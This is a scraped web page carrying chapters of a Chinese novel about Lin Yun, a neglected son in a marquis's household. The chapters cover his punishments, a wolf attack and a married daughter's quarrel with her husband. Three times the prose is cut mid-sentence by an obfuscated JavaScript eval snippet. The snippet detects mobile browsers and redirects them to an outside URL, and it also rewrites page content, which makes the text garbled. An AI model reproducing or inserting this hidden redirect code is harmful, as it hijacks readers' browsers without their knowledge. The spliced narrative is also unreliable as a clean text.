“听说侯爷生了好大的气,老身刚从新玉那儿过来,见她睡了,也没什么事,故来看看。林家虽是将门,可也不能什么事全凭自己主意,打死人的事传出去,知道的说是侯爷尸山血海里拼过来的,家法严厉;不知道的会说我们侯府枉顾人命,狂傲无法呢。”老太太将手搭在林将军抬起的胳膊上,一齐进了正屋里,没有理会林雲的请安。 林将军很谦卑地答道:“母亲说得对,孩儿一时气恼,咱们这样人家更要行事小心为上,我失虑了。” 林雲也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12818054|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下该做什么,只好还跪在原地。那头公狮子现在还怒火中烧呢,不去惹他的好。 就听见老太太进了里间,先是让大娘子柳氏起来,然后慈和地说道:“咱们这样大户人家,一天少不说大事小事得有二三十件吧,哪能什么事大娘子都过问得过来呢。就拿昨儿这事来说,也是赶巧,二牛没有拉紧马也有过,那服侍新玉的也该当心些,明着看见马匹从前头过,也不说避让些。汀芷苑那几个我都训过了,我看恬儿和铃儿好是好,但太孩气,敏儿虽稳重仍过年轻,所以替玉卿做主又拨过去一个掌事大丫头——灵绦。好在新玉没什么大碍,你们夫妻两个也不用太过自责了。” “母亲考虑得周到,又让您着实费心了。” “是,母亲思虑完全,妾身谢过母亲。” 林将军和大娘子都恭谨地应答道。 “新玉月份大了,就让她在自己院子里活动活动即可,也免得人人为她提着心。再一个你们为这点子小事怄气也不值当的,孩子们都看着呢,你们都为父为母的,理当都大度些。”老太太又坦然说道。 “玉卿啊,新玉能为侯爷再添子嗣离不开你的多加照拂。你也该多保养身子,将来这么多孩子供养你呢,你可比我有福气!”只听老太太笑呵呵地拉过大娘子的手去,很慈爱地说。 侯爷却再未说什么话。 林雲听着里面絮絮得说了许多家常话,可他的膝盖又疼得快撑不住了,只好用手撑着地面,汗水也顺着脖颈往下淌,早就过了辰时了,老胡头应该还给他留着门,可不知道自己什么时候才能起来去领份例回去。 直跪了个把时辰,里面又是喝茶吃果子的,才把老太太送出来。老太太见了他还跪在门前,抱着歉意地一笑,对林将军说:“瞧我顾着和你们说话,竟还忘了这儿有个请安的!” 林将军一对他说话就又冷下来:“起来吧,孽障!” 他这才慢慢挪着跪麻了的膝盖,磨蹭着站起来。起来后也未敢抬头和答话,等着大人们赦他回去。 “雲儿长大不少,只是这身子嘛,玉卿是不是该多给他送点补品过去?”老太太回过头堆着假笑地看着大娘子。 “是,母亲。”大娘子仍面无表情地回道。 “自讨苦吃,母亲竟不必可怜他!”林将军却很嘲讽地说道。 “跟个孩子计较什么!”老太太轻拍了林将军的肩膀,嗔着道。 林雲杵在那儿,竟不懂老太太的意思,咬着嘴唇甚是尴尬。 “怕是这个逆子跟我计较呢!” “好了,陪我去花园走走吧。玉卿也累了,让她歇歇吧。”老太太说着扶了林将军的手臂向院门走去。 大娘子行礼恭送老太太后,对林雲说:“你该去做什么就做什么吧,不必在我这里拘礼了。” “谢谢大娘子!”林雲赶紧谢过大娘子,去管事院找徐管家了。 当天下午,他抱了一盆开得正好的茉莉花送到了汀芷苑。他没进去,只是叫出来掌事的灵绦姑娘交代道,本来应该亲自来看望姨娘的,但恐姨娘被叨饶,不利静养,他也没什么东西好送,只有自己种的花开得正好,送来给姨娘赏赏,还望不要嫌弃之类的话。 他想过,他既知道姨娘身上不好,就以上次玉姨娘给他求情的情分,他也应该来看看。但自己实在没有什么能拿出手的东西,那些菜啊瓜啊,吃进肚里的东西恐又被别有用心的人拿去陷害他,他是不敢的。只好搬了一盆自己最喜欢的茉莉花,他也知道,玉姨娘这里应该不缺好东西,他那里一穷二白,日子简得很,就算把例银都算进去也买不来什么好货。 果然第二天老胡头开了偏园的角门,给他捧来一包东西,里面有根寸把长的人参和一些补气血的黄芪红枣枸杞子,另还有三四两干燕窝。老胡头告诉他,这是大娘子专门派人送来的。林雲心想:“原来这个大娘子也聪明不到哪儿去,老太太要她送些补品,她就真送了这些补药过来,连我这个糊涂虫也听出来,是要她多照顾我一些,别在吃上面苛刻了我。自己只够填饱肚子,肉常年吃不到几回,全靠了自己上山钓鱼捉虾来打打牙祭,要不是这一园子的菜蔬,怕是连菜也吃不到的。可惜这个大娘子对自己不闻不问,老太太的话外音都不明白。” 倒是过了几天,明老派了一个小厮来又送了一口袋粳米,说是今年田庄上收成好,多给他备一些。 可巧又收了成熟的葡萄,除了给老胡头和那个猎户大叔送过几串尝过鲜外,其余的他怕放坏了,都和在蒸熟的粳米里,倒了酒曲,酿了葡萄酒。自己种的葡萄有些酸涩,不似后世里街上卖的可口酸甜,所以那些葡萄他大多都拿来酿了酒,剩下一些晚熟的,烘烤成了果干,以备冬日里果腹充饥。 太阳东升西落,日子照样一天天流水似的过去,园子里的绿植又枯黄了,迎来了寒风凛冽的冬天。 他的心也慢慢恢复了旧日的平静,他过惯了独居的日子,开始渐渐地享受这样的日子。 葡萄米酒甘甜微酸,正适合他在冬日里围炉小酌。 酒,是个好东西。在酒里忘却悲伤,在酒里享受宁静,在酒里做一场大梦。 他不由得又感叹起来:“残阳与我立黄昏,篝火问我粥可温,素衣拭我眼中泪,清风与我念前尘······” 47.醒心 十 十 九月初玉姨娘生了一对龙凤胎,全府上下莫不欢欣喜悦的,林将军为两个雪团般的婴孩取名为林霑和林雨萍,办满月酒时竟也派人给林雲送来了一大食盒的酒菜。 不过当天他又上了山 。天气渐冷,他又得出去砍柴攒冬天的柴火了。 直到傍晚才背了一大捆柴回来,走到院里,把木柴收拾好之后,才在自己屋门口发现了食盒。 他也知道自己的院子平时没有人来,几乎院门屋门从不上锁。他把食盒拿进去之后,饭菜都还有温气,但他却不敢吃。他也怕自己独居在这里,被下了毒也无人知晓,要是这样死掉就更冤枉了,更不如上山去被老虎、野狼吃掉呢。 那些饭菜虽散发出诱人的香味,他也没敢动,后来都倒掉了。只有那壶细瓷颈瓶的酒他留下了,用银针试了试,好像是无毒的,他小心放进了斗柜里,以备不时之需。 而且林将军倒像是记起还有他这么个不肖子的存在了,秋冬里时不时地会派人把他叫去。有时是书房,有时是在静玉堂,甚至有时是在祠堂,每次他心生胆怯而去,林将军也并不与他搭话,甚至面都不露,只是命其罚跪,时间也不限,有时三刻钟,有时一个多时辰,至多不会超过两个时辰,就又会命他回去。自上次花园里偶遇玉姨娘遭罚后,他再去内院和前院都无比小心,自己未做过错事,所以每次罚跪他去得莫名其妙,却因怕与父亲再起冲突,也不敢问,他父亲叫他跪,他就跪,要他跪多久,他就跪多久。他也学聪明了,知道是去罚跪,每次去之前借着换衣服的档儿,把厚厚的护膝戴上,也倒是不会每次罚跪后膝盖痛楚难忍,再像上次那样狼狈地挪步回来。 且大概林将军有时白天派人来,他会上山去砍柴,并不在家中。到了晚间,林将军会再次派人来叫他,这便会罚跪得久一些。 林将军心里却想,上次林雲既肯为无名小厮求情,且感念新玉善待之情,定已有悔过之心,所以叫他去跪,是想有意给他个机会,好跟自己忏悔和解。哪曾想,这个傻小子竟完全不懂自己的心意,几次过来还是意气倔强,跟他那个生母毫无二致。而自己有了新玉之后,却越发怀念起吴芝彤那个女人来。新玉刚进门时,的确和芝彤有几分相似,可是后来,他慢慢发现,新玉要比芝彤聪明,也要比芝彤更会揣摩人意,渐渐地也活成了自己讨厌的女人模样。那自己讨厌什么呢?他自己也说不清,可他原本就是喜欢吴芝彤,喜欢她的肆意烂漫,喜欢她的直爽耿飒,喜欢她的不伪装、不伪善,不像他母亲教导他和柳氏那样,要在朝堂和大宅里学会攻心为上,事事以大局为重,不得有偏心和私心。其实他顶讨厌这样的生活,日复一日地戴着面具活着,有什么趣呢?林雲这个小子,很像吴芝彤,也有点不像吴芝彤,自己也看不透道不清了。但总算这个小子没有再像从前那样张牙舞爪、咄咄逼人了,可见这两年磨挫得性子柔和了不少。 而林雲现在很少去猜别人的想法,他明白,一直纠结于父亲的偏心和家人态度的冷漠,倒不如把精力放在自己身上,想想如何安顿一日三餐、提高生活质量乃至多学些本事在身的好。所以每次父亲叫他,他便乖乖地去,罚跪的理由他无需多问,即使问了,也无外乎那几种,父亲偏听偏信,对于他完全没什么耐心。 癸丑牛年就在满空的春雪中拉开了帷幕。林府因添了公子小姐,今年格外隆重些,连花园里都花彩缤纷的,顺着径道两侧的树上都悬了各色绸绫纸娟扎的风灯,湖上游廊石栏上也每隔数十米系着大红风灯,如银花红浪般光彩非常;各个院中珠帘绣幕,桂兰香飘,处处灯光辉映,时时人声欢闹,说不尽的富贵风流。 当然,林雲仍未被请去家宴,但大厨房仍送来了一食盒的酒菜。他原本想着提着去和老胡头两个人坐坐,消遣时光。不免想到,老胡头曾告诉过他,林府规矩甚严,老胡头怕是不敢跟他对坐的;更何况,林府仅有这几日不禁赌,说不定这夜里老胡头去找前院的下人们玩闹去了,自己前去,倒拘了老胡头不能尽兴而顽了。 所以,他就着窗外飘飞的似花琼玉,一个人静静地享受了那份珍馐美味。酒自然要喝一点,但他不胜酒力,只是一两杯便满脸飞红、头晕眼饧。那些菜肴确实比他自己做的强得多,算是他醒来后最佳的一餐饭,不知怎的,他突然想起了母亲林芳清。 他记得母亲病倒前的那个大年夜里,他和母亲齐上手做年夜饭,丸子烧肉都是现买好的,放些佐料蒸蒸就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一边崖跟去年砍柴的地方地形不大一样,那边临着几条溪水,地势相对平坦。而这一边算是祺云山山腰往北些,地势参差错落不一,有几条深涧,植被也不似西面,多是低矮灌木和榆树绣竹。他后来习学中医药草,特意寻到这边来采一些常用草药的。竟想不到这边也会有狼出没。 狼步步紧逼,他此刻上也不是、下也不是,连个躲避的地方也没有。 48.醒心 十一 十一 正当他暗中思索时,外面传来的说话声打断了他的胡思乱想。 “你怎么没在里面守着?” “夏大哥,四少爷好像还没有醒来,我手脚粗笨,怕弄醒了他。”一个年轻后生干脆地回答道。 “老太太嘱咐这几天得你日夜守在他身边,刚才太医说的话你可不要走漏出去。眼下四少爷这儿正缺人,你提心着点。”林雲听出来了,这是阿夏的声音。 “小的知道,那会儿我娘也和我说来着。以前我在四少爷跟前当过差,知道他是个心性极强的人,我自当小心,不会忤着他。” 说话间,就听着两个人的步子从外间进来了,接着看见两个侍女从中间撩起青幔挂到两边去,用桃红系带系好,垂手合门退出去了。林雲见阿夏仍是一袭白衣襕衫外套白狐毛绫袖袄,一脸冷峻地走到他跟前来。 原来救他的也还是自家人,只是他没有想到,光是一间安置他的屋子就如此华贵,可想而知其他人生活的院子又该多铺陈富丽、精致新鲜呢;而自己住的偏院连房子都得自己去修,里面别说是陈设了,几样家具都是旧的,一应器具都简朴能用即可,自己要砍柴种菜方能过活,跟府上其他公子小姐的待遇可谓是天差地别。 林雲知道年初一明宅老和其他管家们都是休息的,所以会在腊月底就让他提前取走他正月的份例。去年过年时因林将军还心生气恼,无人在意林雲的死活,所以即使是年节上也无人去探视他。今年不同,众人见林将军似有回转之意,故明老提前也安排了大厨房的人届时送些酒菜过去。可初一日早晨,众子弟齐聚养居阁给老太太和林将军大娘子拜年请安时,林雲却早就不在院中,又上山去了。阿夏看林将军心内欢喜,特意悄悄地来到偏院,打算劝林雲也去拜年定省的。 这近两年的时间里,也就是老太太时常让阿夏趁没人注意时去偏院里瞧他的近况,外加上老胡头对他多一些留意和照顾。所以也只有阿夏对他的情况最为了解,知道他受了颇多的苦:冬日里上山砍柴、背柴,一个瘦瘦小小的男孩子要背着一大捆柴走那么远的山路回来,自己还要生火做饭、洗衣缝被······ 阿夏虽说是个下人,可在老太太的荫佑抚育下明理聪敏、善解人意,说是半个儿子也不为过,在老太太和林将军间来回侍应也能安然如斯,事事办的周全妥帖、公道自然,府中人没有不称道的。只是人性格太冷了些,很少表现出喜怒哀惧之情来。 对于四少爷,阿夏没有什么交情,以前的事他多少知道一些,谁是谁非他也并不想去置评,可林雲那次在祠堂里的话他还是记得的。那次林雲与林将军在祠堂闹翻,赫然将供奉祖先的果盘打落在地,林将军气急给了林雲两巴掌,将那小子打翻在地。阿夏站在门外听得不忍心父子二人如此冲突下去,冲进去拉林雲起来,想着把他先拉出去冷静冷静再说,林雲却拂了他的手臂,红着眼恼恨地骂道:“谁要你来扶!瞎了眼的,没见我们说话,要你跑进来作梗!”他见林将军已经恨得牙痒,和林雲两个人还在你一句我一句地为祭拜吴小娘的事争论吵骂着,况且林雲还说出不少极其悖逆的话来,着实不成体统了,他再次上前拉开林将军揪住林雲衣口的手,拽了林雲劝道:“四少爷,小娘已魂归天府,非碌碌尘寰中人,你如此厮闹太不像话了,枉读了书却连至纯至孝也不懂得了,快跟我出去!”林雲却再次把矛头对准他骂道:“连你个下人也配来教训我了!也不撒尿瞧瞧自己!自然你没有娘,无需去祭魂,乐意得很,也不知谁才更悲!跟我这里讲孝道你还不配!”他听完也撒开了手,他是捡来的野孩子,这一点人人皆知,可“不配”二字他还是第一次听人从嘴里说出来。他心里不知道的么,老太太对他好,林将军也器重他,甚至还让他做大公子的伴读,能有今日全靠林府,他自己也很上进要强,从不肯堕落拖延落人褒贬。这“不配”二字真真是刺痛了他的心。后来林将军痛笞林雲,他没有再吐一字;再后来,林将军与林雲几次不快,他也是公事公办,一句话也不会多说。老太太着他去打探林雲近况,他也是照实而言,丝毫不掺杂个人情感。况且他也明白,林雲有此时之苦全是咎由自取,怪不得他人,他不会落井下石,但也不会主动雪中送炭。 那天他思忖着老太太心内之意和林将军的脸色,就好意去找林雲却扑空了,回到养居阁也未和任何人说起过。哪知大厨房的人送去食盒后也没见到林雲,见屋里没人就放在门口走了。 至家宴之后,府上便来了一拨一拨来拜年吃年茶的人,前院后院均摆了戏台正唱着热闹的戏文,也无人再注意到偏院里林雲的去向。本来阿夏也忙得内院前院里来回奔波侍应,心里却不安似的,好像有什么事没有安顿好。 到了上午,他这不安就更加强烈了,总感觉会发生什么事,脑海里一下子蹦出了林雲咒骂他“不配”时那张遽红的愤恨的脸来。他着了屈灵去偏院看看四少爷是否回来。片刻功夫,屈灵从正门角门而出走大路去了偏院,发现院内屋内都没人,回来告诉了阿夏。 直觉提醒阿夏,这个小子这么长时间以来做什么都是单独行动,身旁没有人护卫,没有出事是大幸,可一旦出事便是性命之忧。 他立刻脱了手头的事,回了老太太,带了两名闲着的府丁骑马携犬只,一路寻着林雲的气息快马赶上了祺云山。也还好他们赶得快,再晚一步,林雲就被野狼生吞活剥了。 幸而他们三人走时都带了弩箭弓刀等兵器,那些狼被他们打死的打死,赶跑的赶跑,当他们小心地找到路下到涧底时,林雲已经昏死过去了。林雲一身的伤和血,使得他们都不敢挪动他。 阿夏吩咐了那两人看着林雲,自己又快马加鞭地赶回府中。他暂不敢和林将军说,先回禀了老太太。老太太听见也是一惊,有众亲友在,小声命阿夏速派一些得力的人手前去搭救回林雲,另派人于养居阁收拾出一间静室,又着人去请太医。而林将军在前院待客,此事全无知晓。 林雲早睁开眼看到所处之屋舒适华美,猜是被一富贵人家所救,却未料到是阿夏心内牵挂于他,隐觉他会出事及时和府丁们赶上山去救了他。后来听到阿夏和别人说话才意识到,这便是林府一处屋子,自己也是被自家人所救,心里不觉又愧又暖,见了阿夏和屈灵走进来,赶忙闭上眼装睡,不知道如何面对家里的人。 可阿夏偏偏在帐幔拉开之时看到林雲两眼微睁,头朝着这边望着,一见了他们反倒把眼闭上了。于是阿夏踩上脚踏,站在床边,细细地盯着林雲看,倒要看看这小子装到什么时候。 林雲也感受到了灼热的眼神仿佛看穿了他的心思似的,有些难为情地又睁开了眼,正想着挪动下身体,哪知浑身上下像被砸碎筋骨了一般动弹不得,稍微一动便疼得要命,不由得发出“嘶嘶”的痛苦呻吟。 阿夏仍一脸漠然地看着他,悠悠地开口:“四少爷去山上可是捡这一株草?”说着从左手袖口里拿出那株已经萎靡了的灵芝。那日遇险,他将仙草藏在了棉衣衬里,才没有因翻滚打斗而失落,当府丁们十分小心地将他抬回养居阁西侧室,剥掉他破烂不堪、血迹斑斑的衣服时,那株草才抖落出来。 他没说话,因为疼也说不出话来,他想点头,可又想:原本只是去砍柴的,可是府中细乐声喧,着实不愿意听着别人热闹自己受冷清,才选择这边更远的路途,无非是想在外多消磨些时间再回去。可如若照实 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阿夏见他先是因痛楚呻吟后沉默不语的样子,自认为他被关在偏院无人问津心灰意冷,想来心里也煎熬得很,又因被野兽袭击差点丧命受了重伤,就不便再追问下去,就把太医嘱咐的话交代给他:“你受伤很重,太医说短时内你下不了床,有什么就叫屈灵,这几日他都在你跟前。好生养着吧,大致晚间侯爷就会知道此事,你自己想好如何应答。”说完把那株草放在了一旁的小柜上。又转过身安顿屈灵:“我先去回老太太,你这里小心服侍,有什么拿不准的就去问你娘她们,不要动辄惊着老太太。” 地下站着那个精精干干的年轻小伙子回了“是”字,就送出阿夏去返身回来,又放下了帐幔。 林雲其实是有些怕阿夏的,几次见他,阿夏身材高大、面孔冷峻,说话冷冷的,完全没有什么感情,他倒觉得阿夏不是仆从是主子才对。尤其是那次静玉堂罚跪,阿夏一盆凉水泼下来,玉姨娘让阿夏来扶他起来,阿夏却一脸漠然地拒绝掉。他想过一定是之前的林雲惹恼过这个有些脾性的男人,加之他又完全不受宠,府中的人大多对他都是一样的态度,所以阿夏更才不会对他有所关照。阿夏的强势,让他想起了程一鸣,那个富丽堂皇的别墅里,站在大落地窗前有着一头微长微卷的头发、很帅气的也很冷酷的男人,那个男人甩动皮带无情地鞭打了他,他甚至觉得二人在气质上很是相似,都有一种让他无形中畏惧的力量。 再看地下那个更年轻的小厮,他就觉得亲切多了。屈灵正开了一小扇窗子,鼻子先感受到了新鲜的空气所带来的一股清冷,昏沉的头脑也清楚一点了。他想到刚刚阿夏说的“侯爷晚间就会知道了”,说明父亲不知道他受伤,也不是父亲派人救的他,那会是谁呢?还会有谁关心他呢?父亲若是问起他来,他怎么回答才好呢? 一连串的问题又萦绕在他的脑海里。 屈灵长着白净的脸庞,中等个头身量,星眼阔唇,是家生子,从小跟着屈嬷嬷在林府长大的。屈嬷嬷的大儿子早做了前院协管田庄水产的管家,这个小的留在跟前当差,以前在吴小娘院里待过几年,也服侍过林雲一阵子。 只见屈灵从外间唤了女使给他倒来茶水,亲自把了茶盏,轻轻走近林雲床边,单膝跪下,一手扶着他的头,一手把瓷杯凑近他的唇边,喂他喝水。 他很识趣地配合着屈灵,将那杯散着醇香的浅茶色汁水喝尽了,道了谢。屈灵拿起一块帕子很温柔地替他擦去嘴边的水迹。他问:“你叫什么?我在哪儿?” 屈灵低了头,微微一笑,说:“您在养居阁,老太太这里。”却并没有告诉自己的名字。 他之前听到眼前这个小厮和阿夏说过曾服侍过他的,可惜他的身体是林雲的,内里早换了日月,林载轩住在里面,哪里知道以前的事。眼前的小厮不回答他的问题,大概率会认为自己贵人多忘事,自己也不好再问下去。 “谁救的我?”但他还是想知道一些自己的情况,就又问道。 “大难不死必有后福,您少说话,多静养吧。”屈灵态度温和,替他把被盖严实,放下床帏纱幔,缓步退下去了。 49.醒心 十二 十二 林雲躺在那张舒服的大床上,想起之前肖峰和他说过的,他以前还有个贴身服侍的小厮叫屈灵,是屈嬷嬷的儿子,后来生了场病就调到别处去了,也许刚刚那个白净清秀的小厮就叫屈灵吧。 他想起了肖峰,想起之前那个忠心却很莽撞的和他一般大小的男孩子。这么长时间再没见过他,他向老胡头探听过,老胡头对肖峰没有印象,并不知所踪。肖峰过得好吗,兴许早早地像屈灵一样离开,就不会跟着他受苦了。 过了一阵工夫,一个女使端着食盘进来,里面盛着一碗白糯的粳米粥和两三样精致的小菜。屈灵也跟着进来,服侍着他喝了小半碗粥,他身子虚弱,稍动弹动弹就疼得出一身虚汗,那些小菜也没什么胃口吃,就又躺下睡着了。 傍晚时分,全家都在内厅家宴,这一日已到了年初二,是女儿女婿省亲的正经日子。 大小姐林雨萌及其丈夫永昌国公府现袭一等子叔良的四公子叔子安下午就已乘车到了府中,先拜过老太太后,又给林将军及大娘子、玉姨娘请过安,与兄弟姐妹们闲谈叙阔去了。而二小姐林雨菡去年刚嫁给御史大夫李大人的独子李达,两个人恩爱非常,于晚宴前手挽手地进了内院,先是去拜望了自己的母亲贺小娘,才到静玉堂和养居阁去拜年请安。 晚宴上,李达和叔子安被请上座而安座,叔子安先是恭让了一番,说:“承绍祖德,未敢逾老太太、岳丈而前座,惟愿与拙荆勤慎恭肃以侍上,还请您二老先入座为佳。” 林将军和老太太不免喜色洋溢,连连夸奖叔子安及雨萌。 李达并未多言多语,只是跟着姐夫也谦让一回,老太太和林将军就上首而坐,其他人分列两边坐下了,一张大圆桌坐得满满的。这次倒是大娘子安坐于林将军左侧,玉姨娘站在老太太和林将军后面的中间捧羹安盏,贺小娘于大娘子身后靠近林将军一侧服侍着。 雨菡和李达二人自别了贺小娘后举止便不再亲昵,而是很礼数彬彬、谈吐有致了。二人均是极其聪慧的人,知道在娘家这里少说话少谈论的妙,话都很有限,都是附和着他人来说。宴上别人自是惧怕林将军刚烈锐意,不肯多言的,唯有小婿叔子安与林将军对答几句,雨萌都甚少开口。雨萌自小跟在大娘子和老太太身边,心思单纯、开朗活泼,平日里叽叽呱呱地和母亲姐妹她们说笑不停,但与父亲并不亲近,家宴上有父亲倒拘谨地很。其夫在伯爵府上是庶出,既不受宠也不被偏爱,从小规规矩矩惯了的,不免在自己家里对雨萌也要求甚多,两个人常因琐事口角,婚后三年多了只有一子,名璇儿;夫妻二人在外人看来举案齐眉、互敬互重,其实叔子安动不动就对雨萌冷暴力,弄得雨萌有苦难诉,回了林府见母亲与父亲不卯,也不敢跟母亲说,就是偶尔对三妹雨蔷说说梯己话,而雨蔷尚青春年少,不懂闺阁之事,也只能安慰劝解,出不了什么主意。这几日叔子安又怄了她生气,她在家只和随身的侍女柳柳闲聊针黹、教养幼子为要,不怎么搭理叔子安的。 原本初二日雨萌打算自己回娘家,提早安排了回家的礼物果品。早起后,叔子安却巴巴地等在梳妆台前,一眼不错地看着柳柳为雨萌理妆,直看得柳柳都不好意思起来。雨萌也不理会叔子安,只是一会儿和柳柳说要这个发簪那个钗环的,一会儿和柳柳聊着时兴胭脂色,试试这个又试试那个。直待叔子安都不耐烦了开口催促道:“你倒是快一些啊,父亲母亲还等着咱们领着璇儿去请安呢。你这赖赖唧唧的,要磨蹭到什么时候!” 雨萌一摔帕子,把盒细箩佃粉也带到地下,散了一地的粉末,呛声回他:“我一早起来的,自不会误了请安时辰。你等不及就自己去,用不着耐着等我。” “这是什么话,你我夫妻自要和如琴瑟,我自己去什么意思!要惹父亲母亲大过年的不快吗?”叔子安面有怒色,可碍着屋里的侍女丫头,怕让人听见,故意压低了声音说。 “放心,你不就是要面子吗?外人面前我也不会怎样,我还要给我父亲挣一点脸面呢!”林雨萌懒得与他计较,自画了唇色答道。 “谁是外人?我父母亲既是我的家人,便是你的家人,你父母亲也是同样。咱们都合该在双亲面前恭肃谨慎些,别又耍小性儿,弄得什么似的。”叔子安又低声正色道。 “我母亲、祖母教养了我十来年,我不会不懂这些道理。”雨萌仍是淡淡的。 “那你怎么打点省亲的礼物也不和我商量下呢?还不是想抛下我自己回去吗!”叔子安撵了柳柳去倒茶,自己坐在梳妆台旁的矮凳上有些颓丧的说。 “官人每天耕读诗书、应酬交际,我都不知道您有没有时间去呢。再者无非是因为我在园子里和二嫂三嫂子闲聊说笑一回,你看见就不满了,不知道哪里鸟人惹着了您,回来拿我煞性子。这会子又来教我如何侍亲奉上了!官人若真是闲得很,不如待在书房里多去读会儿书,好进取功名,在这家里也好投一立足之地!”雨萌望着铜镜里的花容之色一早便被官人的话噎得变了脸,很没好气。 “你这什么话嘛!哪里有人惹恼我,是其红那个小子看见了你和嫂子们在园子里调笑,笑得过于开怀了些才悄悄告给我的。你知道的,我不受宠,小娘又早早离世,我在这家里怎么熬来。你倒好,大说大笑的,让人抓住把柄了,受过的岂不是我?更何况二嫂子是郡主,常人见了都要礼敬八分的,你和人家都快平起平坐了。我说你两句,你顶我两句,哪里有你这样的妻吗?”叔子安就又和雨萌吵起来。 “其红怎么和你说的我不管。我只知道,做你的发妻实在难的不得了,你不受宠那是因为你没有本事去争宠,和我与人说笑没有关系;我见了诸嫂子该有的礼数自不会少,说说笑笑亦属平常,这些话我跟你解释的都腻烦了,听不听在你,信不信也在你,自己妻子的话不信,倒去信什么阿红阿绿的话,也是鬼迷了心窍。我再回的你多了,你便又要搬去书房睡觉,索性你不要回来算了,省得怄我生气。”雨萌很硬气地回他。 “大过年的,你难道要我搬去书房睡?倒不如我纳几房姬妾来侍候得好,也省了在你林大小姐面前惹白眼。”叔子安听了这话更气得脸红成一团。 “想去哪睡就去哪睡,官人有本事养活几房姬妾就去养,不用向我说。城里的茜香楼官人不也常去吗,哪一次去和我说过呢?”雨萌自然不怕叔子安怎么恼火,自己行的端做得正,为人处事又豁达从分、不扭捏作态。而自己丈夫只会做表面功夫,读书是应卯,交际是从众,毫无自己的品格,自己多是看不起这个眼薄心窄的男人,只恨父亲当年怎么眼瞎看上这么个不成器的家伙来。 “你······你,可不要太过分了!我······”一甩手叔子安生气地大步流星出去了。 躲在门外的柳柳端着茶盘子差点让叔子安撞掉了。 柳柳进门后,赶紧跑到还端坐在梳妆台前无奈叹气的雨萌跟前,两手搭在主子肩头劝慰道:“娘子不要和他计较,还是得赶紧去请安才是。方才我见二房三房的娘子都正往主屋去呢,我又不好进来打断的,娘子身行端□□上没有不敬服的,为了点小事和四爷争吵倒显得咱们不大度的。” 雨萌对这样的情景早见怪不怪了,握了柳柳的手说:“柳柳,也就是你最贴我的心了,倘若过两年你出去了我可怎么着呢。官人也就那样子,我不跟他计较的,倘若真计较起来,这日子过不成的。”遂起身到东屋里头,瞧了瞧孩子还睡着,没有起来,就安顿奶娘并几个嬷嬷丫头好生照看着,等璇儿醒了吃了奶就送到主屋明堂去。 到了主屋明堂院门口,雨萌看见叔子安躲在一旁的小径假装看花灯,就也故意咳嗽一声,柳柳忙合手过去微蹲身对叔子安说道:“四爷原来在这里,害得娘子四处好找,这下好了,您们快进去吧。” 叔子安低头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122351|129422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥,柳柳粉面朱唇、腼腆温柔,有天然的一分娇媚,心里的气消了一半,存着心有意在雨萌面前用手去勾柳柳的下颌,柳柳却快速起身后仰了头躲过去叔子安不安分的手指头,疾步回到了雨萌身后。 正赶上三爷叔子勇及其夫人携小侄儿小侄女一家子向明堂走来,三夫人唐氏老早见到雨萌站在明堂门前还没进去,活活泼泼地大声说道:“雨萌,等我们呢!你们是嫌孤单了,要凑的人多多的,好热热闹闹一点对不对?” 雨萌回头宛然一笑,笑呵呵地回:“三哥三嫂嫂早啊!先前见二哥二嫂嫂已经进去了,我还当我俩就迟了呢,哪知还有垫底的呢。再等等,说不定还能等着两三个贪睡起迟的。” 叔子安见三哥三嫂簇着一群人走来,刚才撩骚柳柳不成好没意思,就赶忙走近雨萌,一手揽了雨萌端着的手臂,假装亲密的样子,也微低头向其哥嫂请安道:“三哥三嫂金安,我刚刚鞋子沾了草根,怕衣冠不洁难见父母,去一旁掸了掸的,合巧就凑在一起了,那咱们快进去吧!” “有什么要紧的,大冷天让媳妇子等在门前,进去以后再掸也不迟啊!”伯爵府三少爷叔子勇笑意阴险地说了句,带着妻儿就已经大步走到他们跟前了。 雨萌一转身和他们同步伐向前走了,叔子安还原本想等三哥他们过去后再走的,见雨萌坚定地向前走,自己的胳膊已经从雨萌的臂弯掉了出来,说不得也跟上前去。到了明堂院门口,雨萌却笑着停下让三哥三嫂嫂他们一行人先进去了,自己主动让丈夫走在身前才一起进去的。 叔良早已年过六旬,却仍脸色红润、矍铄健朗,每日下朝后回家还要舞枪弄棒锻炼一番,所以发须尽白了,可远远看去完全不似六七十岁的老人。 进了正屋,只见二公子舒子强及其苹河郡主正坐在左手一溜椅子上,后面站了孩子们及姬妾;正面圈椅上端坐着国公爷叔良及国夫人赵氏,听见几个孙儿欢快地跑了来,早绽开笑容伸手抱住了两个小的。 叔子勇及叔子安携妻跪下请安问好,赵氏忙笑融融地伸出一只手来示意他们起来,国公爷也一手搂着小孙儿,一边说:“快起来吧,孩子们,又没外人别拘着礼了。” 叔子安紧接着回:“谢父亲母亲!晨晚定省是孩儿们该行的礼,不论有没有外人的。”雨萌识眼色地起身仍蹲身扶起丈夫来,两个人小步退到右侧去了。 